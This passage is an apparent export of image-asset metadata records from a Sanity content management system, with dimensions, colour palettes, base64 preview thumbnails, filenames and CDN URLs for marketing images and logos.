watch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"terraform_OPA_tutorial_overview.png","path":"images/sczeoy4w/production/15825242d911ccf100493f6de14c0cfedd7b0e9c-5391x2072.png","sha1hash":"15825242d911ccf100493f6de14c0cfedd7b0e9c","size":500254,"uploadId":"DksXtSzWfA1W3zPtp8A1rr1Jh6NLYLCh","url":"https://cdn.sanity.io/images/sczeoy4w/production/15825242d911ccf100493f6de14c0cfedd7b0e9c-5391x2072.png"} {"_createdAt":"2022-06-16T22:54:06Z","_id":"image-15caa57b3c623b7579c0d9ea87aeebf3d854dac0-170x28-png","_rev":"0HOthdQkSgJdYc0C9vxY6a","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:06Z","assetId":"15caa57b3c623b7579c0d9ea87aeebf3d854dac0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"431Vw_o+fTW3V=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.071428571428571,"height":28,"width":170},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAjUlEQVQImTWOSQrCUBBEsynrn0rXZqGoaBDRhfOIRBFUxLO+o0iSdtXNq4HKLO4WV4uHxcFibrGJf5/EMYmLxSnYzKJIYp3EIvy70I+ZxTbAx+JpcbP4Wrz/paGvIrR0U/aKMWeLsh7VosySGFpMq/YIjywmbnjbomPRtxhYdC1yi14S49TcylfUvEX+A5LhTl1AeXdaAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":27.9,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#090687","foreground":"#fff","population":1.83,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":27.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#090296","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#827cfc","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#090296","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f04f7","foreground":"#fff","population":3.55,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-open-ocean.png","path":"images/sczeoy4w/production/15caa57b3c623b7579c0d9ea87aeebf3d854dac0-170x28.png","sha1hash":"15caa57b3c623b7579c0d9ea87aeebf3d854dac0","size":2845,"uploadId":"RKinDlhzuCjLda8UYLwthVKPqoe7k5NC","url":"https://cdn.sanity.io/images/sczeoy4w/production/15caa57b3c623b7579c0d9ea87aeebf3d854dac0-170x28.png"} {"_createdAt":"2023-03-22T14:44:40Z","_id":"image-15da76b4462d6c3a8b496a1db8f7e30e3501293e-1965x367-png","_rev":"xiZWRCvY8mGrbEYNJQ1dEP","_type":"sanity.imageAsset","_updatedAt":"2023-03-22T14:45:04Z","altText":null,"assetId":"15da76b4462d6c3a8b496a1db8f7e30e3501293e","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.354223433242507,"height":367,"width":1965},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAIAAAAcOLh5AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAeklEQVQImUXOSwrCQBAE0Nz/Wq5040aPIPjF4Ey66zMTJAno21VTFD0AkGS7995Wvfd5ntfY7WZ7uze7gb7ccTjH7pj701BKiQhSkgBkJknbkklmYvqLnEKf6seb1ydur2Ecx1orV5m5VJYtAgQQEaXUn4iQtPzkJvELA2mtMop5OmUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc0c3c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d0c5ca","foreground":"#000","population":2.27,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0c5ca","foreground":"#000","population":2.27,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc74a4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#db325d","foreground":"#fff","population":0.92,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"stop-start-services-console-token-list.png","path":"images/sczeoy4w/production/15da76b4462d6c3a8b496a1db8f7e30e3501293e-1965x367.png","sha1hash":"15da76b4462d6c3a8b496a1db8f7e30e3501293e","size":22991,"title":null,"uploadId":"TCuseDLAaTw1cwZ2Yo71WQ0ekuLwzsK3","url":"https://cdn.sanity.io/images/sczeoy4w/production/15da76b4462d6c3a8b496a1db8f7e30e3501293e-1965x367.png"} {"_createdAt":"2024-07-12T13:08:33Z","_id":"image-15e0658508efa2621f6623554e7e342da087be45-1200x630-jpg","_rev":"neae7oL4y1FotDvvRTbEB6","_type":"sanity.imageAsset","_updatedAt":"2024-07-12T13:08:33Z","assetId":"15e0658508efa2621f6623554e7e342da087be45","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M497JRS:01}X#RuP^+ic5Qb]0y-V^6EMOX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUCAwYH/8QAIRAAAgEEAgIDAAAAAAAAAAAAAQIDAAQFERIxIVEUIkH/xAAWAQEBAQAAAAAAAAAAAAAAAAAEBQb/xAAYEQADAQEAAAAAAAAAAAAAAAAAAQIRA//aAAwDAQACEQMRAD8A4zj77FrDGstoWkA0zcR37p8+NivLZZbayli8fUjQDVkFY/FQeO/VNcfkLuOFkSdwuut1qOU08cMNsLVRbJDJCxSRSrDsGiol2kPJ2LMf0miqiDn/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#45467a","foreground":"#fff","population":1.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#072a8d","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#233493","foreground":"#fff","population":10.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cda3a0","foreground":"#000","population":9.62,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8595e2","foreground":"#000","population":0.83,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#525e8c","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#233493","foreground":"#fff","population":10.41,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven_STREAM_meta_preview_image_1200x630.jpg","path":"images/sczeoy4w/production/15e0658508efa2621f6623554e7e342da087be45-1200x630.jpg","sha1hash":"15e0658508efa2621f6623554e7e342da087be45","size":45832,"uploadId":"yO81KQgwD1idmyhqjuNkkYhsw7bya6K8","url":"https://cdn.sanity.io/images/sczeoy4w/production/15e0658508efa2621f6623554e7e342da087be45-1200x630.jpg"} {"_createdAt":"2022-12-07T19:11:34Z","_id":"image-1603a8061f8ade42b41b14fffd5a502d778e55f7-1200x630-jpg","_rev":"WCxK3EcVhP1U4hck0aUO7S","_type":"sanity.imageAsset","_updatedAt":"2022-12-07T19:11:34Z","assetId":"1603a8061f8ade42b41b14fffd5a502d778e55f7","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGQJfsyE-pIA?w-p4-t7?bE1o#slt7RjaJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAcCAwX/xAAlEAACAgEDAQkAAAAAAAAAAAABAgMEAAURIRIHEyIxMkFRcZH/xAAWAQEBAQAAAAAAAAAAAAAAAAACAAH/xAAYEQEBAQEBAAAAAAAAAAAAAAABACERMf/aAAwDAQACEQMRAD8AfdunrDWpTBMREW3Xxe2TkkuaaoSxZ6xIOGK+k/ea8KgWnPP7i37VL9qHV6FeKd0hflkB2BxvlGMyadhZK6MH7w7bFgPM4ZRoUaR6TWCDYdAPzhmhkV63/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b3b3e","foreground":"#fff","population":3.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f3804","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3b3b3e","foreground":"#fff","population":3.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfb9b0","foreground":"#000","population":1.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6dc6a","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c749c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f66e0c","foreground":"#fff","population":0.2,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"why-tech-leaders-meta-preview-1200x630.jpg","path":"images/sczeoy4w/production/1603a8061f8ade42b41b14fffd5a502d778e55f7-1200x630.jpg","sha1hash":"1603a8061f8ade42b41b14fffd5a502d778e55f7","size":50422,"uploadId":"XmWV4OQnnEPpdoYGeAGg9voGBL41xs6i","url":"https://cdn.sanity.io/images/sczeoy4w/production/1603a8061f8ade42b41b14fffd5a502d778e55f7-1200x630.jpg"} {"_createdAt":"2022-06-15T20:02:45Z","_id":"image-161a85e3e02c91b1f51fe6d6b6eb67cdbf2d7412-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriOzG","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:04Z","assetId":"161a85e3e02c91b1f51fe6d6b6eb67cdbf2d7412","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MYP~vQ*0.99FwaXpS~Vsslbw-=MxROxuNy","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADP0lEQVQokS2P728TdRzH75/wgYkPeKJPfGoij/31QEWEB8YoD0YYGhX2AKWjkhEgGfFqAmE0mzhaMjGwlnYEC4SVzeGWzq4rHSt2/d276/V6ve+Pu7Z3t7XTfj5mxgev5P3olfdLkOvGqUpVu1mqqNFCUb5bKCoRuW5EDGpHKHfDlDm3KHeDlNkBrilBXkoFWC0XoIYZpKQToA16k2rsDiWdGcrsMaFQUgLPs8VSOpMzU+ksTaWzLF+UmW50GOUu1Y2OUZP1VrlYblVSj1vZmF/feHy7JT9LtszEom6HZ/R2JMLo+maVNllUUFQarkpNXq42sFRR/0OpE2yRLlLuotpguJrM4FwkgsGJS+j7/mv0jZ3CmP8Salc82B/5BHe+Gsb2ZKBjZfMLAmHOLGEOIcxGwuwBYTYQ5vyPDZKswfLCA7ju88DI0UNw6MP34OCBDwajw0cGT84MAzn+8aB/+AD2RsdMZzkRFyh3Q3tpe28od4ByBymzgbIuqg0Cz9OrkLp3ERJX34JfRl6HE4ffgI/efxeOHR2CqfHzkBYvAveexp7fb21vrMcFyuwQZTbdEzDWAcbayKmFnHKUyluYiF3B9el3kP70Ckriy3hjZD+ePH4EvV4vBn6exj/moqA+uIdu8qm1o2zFBcbaIc4salITTcoHFqXQJga0SQtIeQUqj74EOfgqtK+/BDnfazDlOQjnvN+Bf+IahGajMP9wHsrJFXQrG9aulosLFiEhyzCIZbSwbeiDjqFB12iAbajgSovgLA9BZ3YfqFP7IHL+bRg9MQRnz3jg12AA5u7eh9+iscHWyiJuF9fMgboRF7pKJWxKJUblElqNKjq6hG6rhtt6FXfqSew/G0Pn/pu4Obkfr3o/xW9PfoHXfriAq7EwpuKPcG3+IWqp33G3kmyDmn4iOMUNP8+lM818RmFSruY2S1JPL0m9ZkHqa1np7+Ks5D79Rk7c+Kxx+ewxfXL8tLoWm5F4ZlEyM0sSzyzVeoWEAkoqi2r6lrAtvfi8W908Z9WyPrueE3vNvNhv5sXdZk7c1f4S/1GTovvizo8rofHJaZ8nuHT78kR3a0FEJSViZVXE6p9724fq+gVQ08P/Au/PvvsTMEhgAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#453f38","foreground":"#fff","population":2.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#825c34","foreground":"#fff","population":0.66,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f69f14","foreground":"#000","population":6.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4ccbc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c94","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#657595","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f69f14","foreground":"#000","population":6.83,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"161a85e3e02c91b1f51fe6d6b6eb67cdbf2d7412-1567x844.png","path":"images/sczeoy4w/production/161a85e3e02c91b1f51fe6d6b6eb67cdbf2d7412-1567x844.png","sha1hash":"161a85e3e02c91b1f51fe6d6b6eb67cdbf2d7412","size":500173,"uploadId":"0vPCZ2sujbnwkhb09PqT9573sSKC7ltt","url":"https://cdn.sanity.io/images/sczeoy4w/production/161a85e3e02c91b1f51fe6d6b6eb67cdbf2d7412-1567x844.png"} {"_createdAt":"2024-03-22T13:35:26Z","_id":"image-1622d9176e4507b754ade881d42e892daddc99cb-200x200-jpg","_rev":"80Znsvx5FiXC5oBvpW9WxG","_type":"sanity.imageAsset","_updatedAt":"2024-03-22T13:35:26Z","assetId":"1622d9176e4507b754ade881d42e892daddc99cb","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eGSs52o#xuxt%2xufQjtjtj[~pt4M{kCIp%Mj[aya|WC01WExuWBxt","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":200,"width":200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAIDAAAAAAAAAAAAAAAAAAQFAQYI/8QAIRAAAgEFAAEFAAAAAAAAAAAAAAECAwQFERIhBhNCUWH/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAv/EABgRAQADAQAAAAAAAAAAAAAAAAABAhFR/9oADAMBAAIRAxEAPwDqjpdc7W/ozspbzAxucrO8d3cQcqbhzGWkv1FcvRy45eYyb8p793yXlekNrBHx9orK1hQjUqVFH5Te2wQJAAAAAD//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c344c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#151644","foreground":"#fff","population":1.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#151644","foreground":"#fff","population":1.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a993c4","foreground":"#000","population":1.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a8c4da","foreground":"#000","population":0.78,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a45ca4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#84cee1","foreground":"#000","population":0.25,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"knowyyy_logo.jpeg","path":"images/sczeoy4w/production/1622d9176e4507b754ade881d42e892daddc99cb-200x200.jpg","sha1hash":"1622d9176e4507b754ade881d42e892daddc99cb","size":3360,"uploadId":"epA9TVJREl7vA7VjNzJsFmQQGCh6UzXw","url":"https://cdn.sanity.io/images/sczeoy4w/production/1622d9176e4507b754ade881d42e892daddc99cb-200x200.jpg"} {"_createdAt":"2023-07-06T08:19:01Z","_id":"image-1638de448952fb8c68f3ba0f23f5d6c52921cc87-253x256-png","_rev":"6XgNW4u8Ry4N5p55fV6F6e","_type":"sanity.imageAsset","_updatedAt":"2023-07-06T08:19:01Z","assetId":"1638de448952fb8c68f3ba0f23f5d6c52921cc87","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eFNwH1?bpytS8w4mM_.9bbROgPM{Mcaex^bwj]sls:M|IpR*sls.bI","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.98828125,"height":256,"width":253},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEUklEQVQ4jW2UaW9UZRiG5//pNzUSP2AiRhIFI0RAtBCCRKDaJaIstrTFhkWmpdOWaTv7TGc9+zmzntkXOjOdTht/wqXvWxY/+OHOOe92PffzLo8nFE4QjiSJxtIkElmSKZV0RiOVVtjy77A4/5C5+w9Y9b4gHk+RzRkoqoWq2Wi6g647aJpNTjHlOk8sniaxK0CK7BALxGAkFOPe7Axff3aSUyc+5MKZr/ht9lf8/iCKYmIYBQzzWLqRl0EyWR2PgIgfARGdIqqqWmz5fPx+/TJXT33ExU/e59yJ9zh78mOmbk8SjSax7JKUaRUlVDiWQFW1ZUNEEQNikqoYRHxeEsuzaI+nyS3dZHPyG65//gHffnmaFe+anGc7ZfkV64QZmbJoiChvJuQLLqqiE19/huOb41VombZ/Hm3xBnPfneLiF5+ytLCIYeblXOs1UGQots0jIE6+IgcLxSrFch1dM4muPSX55zTWkxn0pdtE70zw5NoZJs+f5uniAqbhUCi62I4A5snkDOK7WTwCIkGlGuVynYrbpJAvoYW3ML0PcB7Pos7fInXvOoGZyzybvELIt4rjFN8CdcOR6UZjKTylch2hcqUhYW61hes2KClpnPUlMnO3CE79wM7Pl9ievULg0T3UZFLC8oUKll1E022ZbiiSwCMgb0DVWluqVmtTNA0yq0sEZq+y/uN5vNfOsjp9hajvObZ5nK6TL2Na4kBMErsZdgJRPNLRa1it3nmrcrFCNrBB6I9Jtqe+58VP51iZniDie45lOtLdm/3LKQaxeAr/VugY+NbZf4CVSp1cNEhwYYqdOxNsTl1gZfIiG48ekElmZKrCnaaL+6cRjiRY39z5P2CbRrNLrdpACW8Tmb9F7P4EoTuXWfvlEmsP7xILRVEUA02zZLrimQaCUV74Xr4DCpgAddqveNUb0Gq0sZMxlL/uYizfJLNwg/DiDNGNNVLxNGpWxzIcLKtANquxE4iwsrrxDlhvdOn1BhzsjxkNR9TdOmYmSz7ykrJ/GXv9EbmdDbKJJGpWo2gXaVSb1GtNTDNPMBjDu+LD47otecqNRpdBf8TR+IjD0SGdVhe3WKGWz1PVMhTSCfRMFi2n4ZgOdbdBr7tHs9HBNguEw3Gee9eOr424g9Vqi16nz3Bvn/H+mPHokGF/n71en06zQ92tUS1XpYT7Vr1Nu9mlXHDRFZNoJIFXAAVMvJJiwaXqNum19zgYjjka/83BaMywP2I4OJDuBbzb6tJudGg3ulRKNbmXSkYlmUjj820ev5RCoYptlSjkK7SaPfaHh4xGRxIiNNo/5GB0xP5wLA9MZNJsdDE1m3hkl1xaQc1pbG8H8Qh3ojiIqqvmDAntdQcMB2P6e8fuBEhoODykPzig2xtQKlZJxJKEAxHpUhSLeCx5XBxE+Unt5oiFd8lldBlduBTQoYQd0hduB2MGwzHtzh6G4bDtDxDwB9EUA8cqkv23Hv4D84Uxc6UM9oMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#40322d","foreground":"#fff","population":2.99,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f3b25","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d0a387","foreground":"#000","population":3.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7c5b9","foreground":"#000","population":0.12,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7d2bc","foreground":"#000","population":1.25,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#98715c","foreground":"#fff","population":1.84,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d0a387","foreground":"#000","population":3.28,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Screenshot 2023-07-06 at 10.18.34.png","path":"images/sczeoy4w/production/1638de448952fb8c68f3ba0f23f5d6c52921cc87-253x256.png","sha1hash":"1638de448952fb8c68f3ba0f23f5d6c52921cc87","size":82726,"uploadId":"4nNP9ozK7ytI5nj4wtDRrY4bZtNvRIhq","url":"https://cdn.sanity.io/images/sczeoy4w/production/1638de448952fb8c68f3ba0f23f5d6c52921cc87-253x256.png"} {"_createdAt":"2022-08-15T15:31:48Z","_id":"image-167313944ca1feee8e8430eccc2f67aba2f00862-1264x351-png","_rev":"HosDT9snWCxUYvGzNYFyhv","_type":"sanity.imageAsset","_updatedAt":"2022-08-15T15:31:48Z","assetId":"167313944ca1feee8e8430eccc2f67aba2f00862","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DYK-td00$_~qE7xuRjjtofaz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.601139601139601,"height":351,"width":1264},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAsklEQVQYlZXPwQoBYRQF4IsF5U0sLO3sTFnbeABvw6uIlYXYWSgL2YwkzUIKTYnGzO+f+e+5mpFYmDKnTnf3dS5RWio2uTdN3YFDw/k556moFhn0AQQiIojzuhrAWkR6ImKlevnGlJiRdHf0i0qbFjMWAPjLk//B5phEJOneVeVHyB0Gth8nK2hNCACJgJxTUFLatJmx/HyaEaTqiq5+SJuDRzP7UrgrUzcGoxh4T/wFPgEQUumKA8jtXAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4444","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04040c","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#abacac","foreground":"#000","population":0.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abacac","foreground":"#000","population":0.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9b9bdd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c8484","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f3fbf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bg-semicircle-1-gray-white-gradient.png","path":"images/sczeoy4w/production/167313944ca1feee8e8430eccc2f67aba2f00862-1264x351.png","sha1hash":"167313944ca1feee8e8430eccc2f67aba2f00862","size":13376,"uploadId":"47IeGResA2PUAz8tUTqgNTni2OQyngrd","url":"https://cdn.sanity.io/images/sczeoy4w/production/167313944ca1feee8e8430eccc2f67aba2f00862-1264x351.png"} {"_createdAt":"2022-06-30T20:00:56Z","_id":"image-168a4edf9b0f7f69b91939968bd937aebaae38a5-1157x424-png","_rev":"CK1sLU2mnwa3vmbYWEdEui","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:09Z","assetId":"168a4edf9b0f7f69b91939968bd937aebaae38a5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D02$Q+ogjJtRoMMyofofj]of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.7287735849056602,"height":424,"width":1157},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAv0lEQVQoka1QW47EMAjrIToNCY90Zu5/Rq8M6arV/u6HRTBgW9mGTRxi2I/+L9hkBA5R7K3j1QZ2Yg3ZF3c74rvdZscfQU9BDrNKiWbfNUEuBYQ7hTbWrJXoNd9EK+GvwHpz2NTQ3SFG1PvCmJHca5nxlnwlXEkocDmzXoeEngF7T+h7wj4T/j2T5w33RQ16TmxdA6LPBJXIc4kHrOxHBPpCGgVTeprnnvld0NEt0D2y1iLdLb+Btd0xaMQdf/A/5he0zaw/0AUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c443c","foreground":"#fff","population":0.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040b0c","foreground":"#fff","population":0.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c443c","foreground":"#fff","population":0.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#949498","foreground":"#fff","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bd5dd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6f7175","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fafbf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"168a4edf9b0f7f69b91939968bd937aebaae38a5-1157x424.png","path":"images/sczeoy4w/production/168a4edf9b0f7f69b91939968bd937aebaae38a5-1157x424.png","sha1hash":"168a4edf9b0f7f69b91939968bd937aebaae38a5","size":74671,"uploadId":"iERPj0Ep1N4dMo9DZVn689jSnAjWHo9h","url":"https://cdn.sanity.io/images/sczeoy4w/production/168a4edf9b0f7f69b91939968bd937aebaae38a5-1157x424.png"} {"_createdAt":"2022-06-15T20:01:41Z","_id":"image-168caad7b70fb5d5569b0ab982c4d9b3759a8305-725x405-png","_rev":"QRl2cGoCgj0FlAhkRrhXNn","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:03Z","assetId":"168caad7b70fb5d5569b0ab982c4d9b3759a8305","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MURSlY_Oo}PVmQ#6krS2i_xaZMo#W;V@t6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7901234567901234,"height":405,"width":725},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqklEQVQokQGfAmD9AP5SJ/5TJv5WJv5YJv1bJv1dJv1fJf5iJf1lJv1nJf1qJPprIu5tKOdyMutzL9p/S8SYgMSVftmATPZ4LwD+Vy/+ZD3+ZDr+ZTj9aDn9ZTP9YCj9YCT8YyT8ZST8aCP2aB/dZybJbz3TdD7Me025jHbAiWzeez/4dikA/l04/nRU/nRR/nFL/nVN/W5C/GIt/F4k+2Aj+mMj+WQh8WYh2XA1wIN